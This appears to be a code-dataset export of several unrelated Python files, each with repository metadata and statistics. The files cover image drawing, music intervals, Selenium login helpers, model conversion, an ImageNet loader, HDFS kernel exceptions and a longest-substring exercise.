| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc62c8d6aa28b5a801e73fa4abc1d1fe577304dd
| 1,884
|
py
|
Python
|
random-images/hexxy.py
|
dominicschaff/random
|
14a19b976a09c768ab8844b7cda237c17a92c9ae
|
[
"MIT"
] | null | null | null |
random-images/hexxy.py
|
dominicschaff/random
|
14a19b976a09c768ab8844b7cda237c17a92c9ae
|
[
"MIT"
] | null | null | null |
random-images/hexxy.py
|
dominicschaff/random
|
14a19b976a09c768ab8844b7cda237c17a92c9ae
|
[
"MIT"
] | null | null | null |
from PIL import ImageDraw, Image
from math import cos,sin,radians
from random import randint
import sys
a = "a0A1b2B3c4C5d6D7e8E9f!F,g.G/h?H<i>I:j;J'k\"K\\l|L/m M\nn\tN@o#O$p%P^q&Q*r(R)s_S-t+T=u{U}v[V]w W x X y Y z Z"
if len(a) > 128:
print("TOO MANY CHARACTERS")
sys.exit(1)
# for i in a:
# print("%s -> %d %d %d %d %d %d %d "%(i,
# 1 if a.index(i) & 1 == 1 else 0,
# 1 if a.index(i) & 2 == 2 else 0,
# 1 if a.index(i) & 4 == 4 else 0,
# 1 if a.index(i) & 8 == 8 else 0,
# 1 if a.index(i) & 16 == 16 else 0,
# 1 if a.index(i) & 32 == 32 else 0,
# 1 if a.index(i) & 64 == 64 else 0,
# ))
# sys.exit(0)
WHITE=(255,255,255)
PINK=(217,154,197)
BLUE=(103,170,249)
BLACK=(0,0,0)
img = Image.new('RGB', (2560,1600), BLACK)
id = ImageDraw.Draw(img)
def hex(offset, size):
points = []
x,y = offset
for angle in range(0, 360, 60):
x += cos(radians(angle)) * size
y += sin(radians(angle)) * size
points.append((x, y))
return points
def drawHex(id, sx,sy,s,c):
ox = sx - cos(radians(120)) * s
oy = sy - sin(radians(120)) * s
id.polygon(hex((ox-s,oy-s*2),s), fill=BLUE if c & 1 == 1 else PINK)
id.polygon(hex((ox+s,oy-s*2),s), fill=BLUE if c & 2 == 2 else PINK)
id.polygon(hex((ox-s*2,oy),s), fill=BLUE if c & 4 == 4 else PINK)
id.polygon(hex((ox,oy),s), fill=BLUE if c & 8 == 8 else PINK)
id.polygon(hex((ox+s*2,oy),s), fill=BLUE if c & 16 == 16 else PINK)
id.polygon(hex((ox-s,oy+s*2),s), fill=BLUE if c & 32 == 32 else PINK)
id.polygon(hex((ox+s,oy+s*2),s), fill=BLUE if c & 64 == 64 else PINK)
q = """This is a test
0123456789%"""
s = 10
cutOff = int(2560/(s*7))
print (cutOff)
x,y = 0,0
for c in q:
drawHex(id, s*2 + x*s*7, s*3 + y*s*7, s, a.index(c))
x+=1
if x >= cutOff or c == "\n":
x,y = 0,y+1
img.show()
| 28.545455
| 113
| 0.537686
| 396
| 1,884
| 2.555556
| 0.270202
| 0.023715
| 0.027668
| 0.062253
| 0.362648
| 0.352767
| 0.310277
| 0.221344
| 0.221344
| 0.221344
| 0
| 0.107397
| 0.253716
| 1,884
| 66
| 114
| 28.545455
| 0.612376
| 0.196921
| 0
| 0
| 0
| 0.204545
| 0.061252
| 0.027963
| 0
| 0
| 0
| 0
| 0
| 1
| 0.045455
| false
| 0
| 0.090909
| 0
| 0.159091
| 0.045455
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc66cd08fbbe334f7cc1e76eb76063eb07e5b49e
| 673
|
py
|
Python
|
music/distance/aural/diatonic/__init__.py
|
jedhsu/music
|
dea68c4a82296cd4910e786f533b2cbf861377c3
|
[
"MIT"
] | null | null | null |
music/distance/aural/diatonic/__init__.py
|
jedhsu/music
|
dea68c4a82296cd4910e786f533b2cbf861377c3
|
[
"MIT"
] | null | null | null |
music/distance/aural/diatonic/__init__.py
|
jedhsu/music
|
dea68c4a82296cd4910e786f533b2cbf861377c3
|
[
"MIT"
] | null | null | null |
"""
*mus . it . dia*
The simple diatonic intervals.
"""
from .second import MinorSecond
from .second import MajorSecond
from .third import MinorThird
from .third import MajorThird
from .fourth import PerfectFourth
from .fifth import Tritone
from .fifth import PerfectFifth
from .sixth import MinorSixth
from .sixth import MajorSixth
from .seventh import MinorSeventh
from .seventh import MajorSeventh
from .eighth import Octave
__all__ = [
"MinorSecond",
"MajorSecond",
"MinorThird",
"MajorThird",
"PerfectFourth",
"Tritone",
"PerfectFifth",
"MinorSixth",
"MajorSixth",
"MinorSeventh",
"MajorSeventh",
"Octave",
]
| 18.694444
| 33
| 0.708767
| 68
| 673
| 6.955882
| 0.426471
| 0.042283
| 0.067653
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.199108
| 673
| 35
| 34
| 19.228571
| 0.877551
| 0.071322
| 0
| 0
| 0
| 0
| 0.203612
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.461538
| 0
| 0.461538
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
fc6780fb69ebe4416f273d6821ceb9f2cb3226e8
| 760
|
py
|
Python
|
selenium_tests/test_functions.py
|
AriTheGuitarMan/AriTheGuitarMan.github.io
|
8348ad0c47e48477560e7e40ec7eac8bca6fcdfa
|
[
"MIT"
] | null | null | null |
selenium_tests/test_functions.py
|
AriTheGuitarMan/AriTheGuitarMan.github.io
|
8348ad0c47e48477560e7e40ec7eac8bca6fcdfa
|
[
"MIT"
] | null | null | null |
selenium_tests/test_functions.py
|
AriTheGuitarMan/AriTheGuitarMan.github.io
|
8348ad0c47e48477560e7e40ec7eac8bca6fcdfa
|
[
"MIT"
] | null | null | null |
# this file holds some common testing functions
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
depurl = "localhost:3000"
def getElement(driver, xpath):
return WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, xpath)))
def login(driver, username, password):
driver.get(depurl)
elem = getElement(driver, "//input[@id='username']")
elem.clear()
elem.send_keys(username)
elem = getElement(driver, "//input[@id='password']")
elem.clear()
elem.send_keys(password)
elem.send_keys(Keys.RETURN)
def logout(driver):
elem = getElement(driver, "//a[text()='Logout']")
elem.click()
| 33.043478
| 93
| 0.727632
| 98
| 760
| 5.571429
| 0.479592
| 0.117216
| 0.115385
| 0.102564
| 0.175824
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009146
| 0.136842
| 760
| 23
| 94
| 33.043478
| 0.823171
| 0.059211
| 0
| 0.111111
| 0
| 0
| 0.112045
| 0.064426
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.166667
| 0.166667
| 0.055556
| 0.388889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc69e76506c689aa4c8cc54b37cd338453f7483a
| 1,256
|
py
|
Python
|
scripts/convert_keras2onnx.py
|
ecmwf-lab/infero
|
4fec006175af48cd0313b2f89722c01636e961db
|
[
"Apache-2.0"
] | 8
|
2021-12-20T06:24:16.000Z
|
2022-02-17T15:21:55.000Z
|
scripts/convert_keras2onnx.py
|
ecmwf-projects/infero
|
4c229a16ce75a249c83cbf43e0c953a7a42f2f83
|
[
"Apache-2.0"
] | null | null | null |
scripts/convert_keras2onnx.py
|
ecmwf-projects/infero
|
4c229a16ce75a249c83cbf43e0c953a7a42f2f83
|
[
"Apache-2.0"
] | 1
|
2021-10-04T10:14:23.000Z
|
2021-10-04T10:14:23.000Z
|
#
# (C) Copyright 1996- ECMWF.
#
# This software is licensed under the terms of the Apache Licence Version 2.0
# which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
# In applying this licence, ECMWF does not waive the privileges and immunities
# granted to it by virtue of its status as an intergovernmental organisation
# nor does it submit to any jurisdiction.
#
import os
import numpy as np
import argparse
import keras
import keras2onnx
if __name__ == "__main__":
"""
Lightweight script to convert a keras model into a TFlite model
"""
parser = argparse.ArgumentParser("Data Augmentation")
parser.add_argument('keras_model_path', help="Path of the input keras model")
parser.add_argument('onnx_model_path', help="Path of the output onnx model")
parser.add_argument("--verify_with", help="Check the model by passing an input numpy path")
args = parser.parse_args()
# load the keras model
model = keras.models.load_model(args.keras_model_path)
model.summary()
# do the conversion
onnx_model = keras2onnx.convert_keras(model, model.name)
# write to file
file = open(args.onnx_model_path, "wb")
file.write(onnx_model.SerializeToString())
file.close()
| 30.634146
| 95
| 0.72293
| 181
| 1,256
| 4.878453
| 0.524862
| 0.06795
| 0.057758
| 0.038505
| 0.04983
| 0.04983
| 0
| 0
| 0
| 0
| 0
| 0.009823
| 0.18949
| 1,256
| 40
| 96
| 31.4
| 0.857564
| 0.33121
| 0
| 0
| 0
| 0
| 0.233957
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.058824
| 0.294118
| 0
| 0.294118
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc6d62eed45d350cb72c202ceedfb98394117cd4
| 315
|
py
|
Python
|
venv/Lib/site-packages/har2case/__about__.py
|
Verckolf/MyInterfaceTest
|
e05674bd673a6a43cfb33f7cb4318886ba92a05c
|
[
"MIT"
] | null | null | null |
venv/Lib/site-packages/har2case/__about__.py
|
Verckolf/MyInterfaceTest
|
e05674bd673a6a43cfb33f7cb4318886ba92a05c
|
[
"MIT"
] | null | null | null |
venv/Lib/site-packages/har2case/__about__.py
|
Verckolf/MyInterfaceTest
|
e05674bd673a6a43cfb33f7cb4318886ba92a05c
|
[
"MIT"
] | null | null | null |
__title__ = 'har2case'
__description__ = 'Convert HAR(HTTP Archive) to YAML/JSON testcases for HttpRunner.'
__url__ = 'https://github.com/HttpRunner/har2case'
__version__ = '0.2.0'
__author__ = 'debugtalk'
__author_email__ = '[email protected]'
__license__ = 'Apache-2.0'
__copyright__ = 'Copyright 2017 debugtalk'
| 39.375
| 84
| 0.771429
| 38
| 315
| 5.526316
| 0.736842
| 0.019048
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038869
| 0.101587
| 315
| 8
| 85
| 39.375
| 0.70318
| 0
| 0
| 0
| 0
| 0
| 0.556962
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc7fb355e0004487d0ead15c251476f2cd39193b
| 2,658
|
py
|
Python
|
datasets/imagenet.py
|
xhchrn/open_lth
|
6b3d04a12a2f868ce851bd09b330ea57957c1de6
|
[
"MIT"
] | 9
|
2021-03-30T20:43:26.000Z
|
2021-12-28T06:25:17.000Z
|
datasets/imagenet.py
|
xhchrn/open_lth
|
6b3d04a12a2f868ce851bd09b330ea57957c1de6
|
[
"MIT"
] | null | null | null |
datasets/imagenet.py
|
xhchrn/open_lth
|
6b3d04a12a2f868ce851bd09b330ea57957c1de6
|
[
"MIT"
] | 2
|
2021-03-31T01:19:48.000Z
|
2021-08-02T13:41:32.000Z
|
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import concurrent.futures
import numpy as np
import os
from PIL import Image
import torchvision
from datasets import base
from platforms.platform import get_platform
def _get_samples(root, y_name, y_num):
y_dir = os.path.join(root, y_name)
if not get_platform().isdir(y_dir): return []
output = [(os.path.join(y_dir, f), y_num) for f in get_platform().listdir(y_dir) if f.lower().endswith('jpeg')]
return output
class Dataset(base.ImageDataset):
"""ImageNet"""
def __init__(self, loc: str, image_transforms):
# Load the data.
classes = sorted(get_platform().listdir(loc))
samples = []
if get_platform().num_workers > 0:
executor = concurrent.futures.ThreadPoolExecutor(max_workers=get_platform().num_workers)
futures = [executor.submit(_get_samples, loc, y_name, y_num) for y_num, y_name in enumerate(classes)]
for d in concurrent.futures.wait(futures)[0]: samples += d.result()
else:
for y_num, y_name in enumerate(classes):
samples += _get_samples(loc, y_name, y_num)
examples, labels = zip(*samples)
super(Dataset, self).__init__(
np.array(examples), np.array(labels), image_transforms,
[torchvision.transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])
@staticmethod
def num_train_examples(): return 1281167
@staticmethod
def num_test_examples(): return 50000
@staticmethod
def num_classes(): return 1000
@staticmethod
def _augment_transforms():
return [
torchvision.transforms.RandomResizedCrop(224, scale=(0.1, 1.0), ratio=(0.8, 1.25)),
torchvision.transforms.RandomHorizontalFlip()
]
@staticmethod
def _transforms():
return [torchvision.transforms.Resize(256), torchvision.transforms.CenterCrop(224)]
@staticmethod
def get_train_set(use_augmentation, resize):
transforms = Dataset._augment_transforms() if use_augmentation else Dataset._transforms()
return Dataset(os.path.join(get_platform().imagenet_root, 'train'), transforms)
@staticmethod
def get_test_set(resize):
return Dataset(os.path.join(get_platform().imagenet_root, 'val'), Dataset._transforms())
@staticmethod
def example_to_image(example):
with get_platform().open(example, 'rb') as fp:
return Image.open(fp).convert('RGB')
DataLoader = base.DataLoader
| 33.225
| 115
| 0.677201
| 341
| 2,658
| 5.085044
| 0.363636
| 0.057093
| 0.023068
| 0.015571
| 0.113033
| 0.113033
| 0.113033
| 0.087659
| 0.053057
| 0
| 0
| 0.028612
| 0.211061
| 2,658
| 79
| 116
| 33.64557
| 0.798283
| 0.072611
| 0
| 0.148148
| 0
| 0
| 0.006922
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.185185
| false
| 0
| 0.12963
| 0.111111
| 0.444444
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 1
|
fc8903dace15225a2f4484e8807d8da8761b6a96
| 2,761
|
py
|
Python
|
hdfs_kernel/exceptions.py
|
Jasper912/jupyter-hdfs-kernel
|
4b933cab675cb908a1d2332f040c7fce697fce61
|
[
"MIT"
] | 3
|
2019-10-28T02:52:46.000Z
|
2019-12-24T09:11:48.000Z
|
hdfs_kernel/exceptions.py
|
Jasper912/jupyter-hdfs-kernel
|
4b933cab675cb908a1d2332f040c7fce697fce61
|
[
"MIT"
] | null | null | null |
hdfs_kernel/exceptions.py
|
Jasper912/jupyter-hdfs-kernel
|
4b933cab675cb908a1d2332f040c7fce697fce61
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding=utf-8 -*-
#
# Author: huangnj
# Time: 2019/09/27
import traceback
from functools import wraps
from hdfs_kernel.constants import EXPECTED_ERROR_MSG, INTERNAL_ERROR_MSG
from hdfs.util import HdfsError
# == EXCEPTIONS ==
class SessionManagementException(Exception):
pass
class CommandNotAllowedException(Exception):
pass
class CommandExecuteException(Exception):
pass
# option parse Error
class OptionParsingError(RuntimeError):
pass
class OptionParsingExit(Exception):
def __init__(self, status, msg):
self.msg = msg
self.status = status
# == DECORATORS FOR EXCEPTION HANDLING ==
EXPECTED_EXCEPTIONS = [HdfsError, SessionManagementException, CommandNotAllowedException,
CommandExecuteException, OptionParsingExit, OptionParsingError]
def handle_expected_exceptions(f):
"""A decorator that handles expected exceptions. Self can be any object with
an "ipython_display" attribute.
Usage:
@handle_expected_exceptions
def fn(self, ...):
etc..."""
exceptions_to_handle = tuple(EXPECTED_EXCEPTIONS)
# Notice that we're NOT handling e.DataFrameParseException here. That's because DataFrameParseException
# is an internal error that suggests something is wrong with LivyClientLib's implementation.
@wraps(f)
def wrapped(self, *args, **kwargs):
try:
out = f(self, *args, **kwargs)
except exceptions_to_handle as err:
# Do not log! as some messages may contain private client information
self.send_error(EXPECTED_ERROR_MSG.format(err))
return None
else:
return out
return wrapped
def wrap_unexpected_exceptions(f, execute_if_error=None):
"""A decorator that catches all exceptions from the function f and alerts the user about them.
Self can be any object with a "logger" attribute and a "ipython_display" attribute.
All exceptions are logged as "unexpected" exceptions, and a request is made to the user to file an issue
at the Github repository. If there is an error, returns None if execute_if_error is None, or else
returns the output of the function execute_if_error.
Usage:
@wrap_unexpected_exceptions
def fn(self, ...):
..etc """
@wraps(f)
def wrapped(self, *args, **kwargs):
try:
out = f(self, *args, **kwargs)
except Exception as e:
self.logger.error(u"ENCOUNTERED AN INTERNAL ERROR: {}\n\tTraceback:\n{}".format(e, traceback.format_exc()))
self.send_error(INTERNAL_ERROR_MSG.format(e))
return None if execute_if_error is None else execute_if_error()
else:
return out
return wrapped
| 32.482353
| 119
| 0.694314
| 339
| 2,761
| 5.530973
| 0.40118
| 0.048
| 0.037333
| 0.0128
| 0.1632
| 0.112
| 0.088533
| 0.0608
| 0.0608
| 0.0608
| 0
| 0.004212
| 0.226005
| 2,761
| 84
| 120
| 32.869048
| 0.873187
| 0.3908
| 0
| 0.428571
| 0
| 0
| 0.031697
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.119048
| false
| 0.095238
| 0.095238
| 0
| 0.47619
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc992600a7f421e186b8dbe2ed6b420847313d4c
| 1,473
|
py
|
Python
|
python/patterns/slidingwindow/longest_substring_no_repeating_char.py
|
dharmik-thakkar/dsapatterns
|
fc5890a86c5d49097b73b6afd14e1a4e81cff7a0
|
[
"Apache-2.0"
] | null | null | null |
python/patterns/slidingwindow/longest_substring_no_repeating_char.py
|
dharmik-thakkar/dsapatterns
|
fc5890a86c5d49097b73b6afd14e1a4e81cff7a0
|
[
"Apache-2.0"
] | null | null | null |
python/patterns/slidingwindow/longest_substring_no_repeating_char.py
|
dharmik-thakkar/dsapatterns
|
fc5890a86c5d49097b73b6afd14e1a4e81cff7a0
|
[
"Apache-2.0"
] | null | null | null |
#######################################################################################################################
# Given a string, find the length of the longest substring which has no repeating characters.
#
# Input: String="aabccbb"
# Output: 3
# Explanation: The longest substring without any repeating characters is "abc".
#
# Input: String="abbbb"
# Output: 2
# Explanation: The longest substring without any repeating characters is "ab".
#
# Input: String="abccde"
# Output: 3
# Explanation: Longest substrings without any repeating characters are "abc" & "cde".
#######################################################################################################################
def longest_substring_no_repeating_char(input_str: str) -> int:
window_start = 0
is_present = [None for i in range(26)]
max_window = 0
for i in range(len(input_str)):
char_ord = ord(input_str[i]) - 97
if is_present[char_ord] is not None:
window_start = max(window_start, is_present[char_ord] + 1)
is_present[char_ord] = i
max_window = max(max_window, i - window_start + 1)
return max_window
print(longest_substring_no_repeating_char('aabccbb'))
print(longest_substring_no_repeating_char('abbbb'))
print(longest_substring_no_repeating_char('abccde'))
print(longest_substring_no_repeating_char('abcabcbb'))
print(longest_substring_no_repeating_char('bbbbb'))
print(longest_substring_no_repeating_char('pwwkew'))
| 40.916667
| 119
| 0.620502
| 175
| 1,473
| 4.954286
| 0.32
| 0.184544
| 0.145329
| 0.217993
| 0.425606
| 0.38985
| 0.140715
| 0.140715
| 0.140715
| 0
| 0
| 0.008621
| 0.133741
| 1,473
| 35
| 120
| 42.085714
| 0.670846
| 0.291242
| 0
| 0
| 0
| 0
| 0.046717
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.058824
| false
| 0
| 0
| 0
| 0.117647
| 0.352941
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
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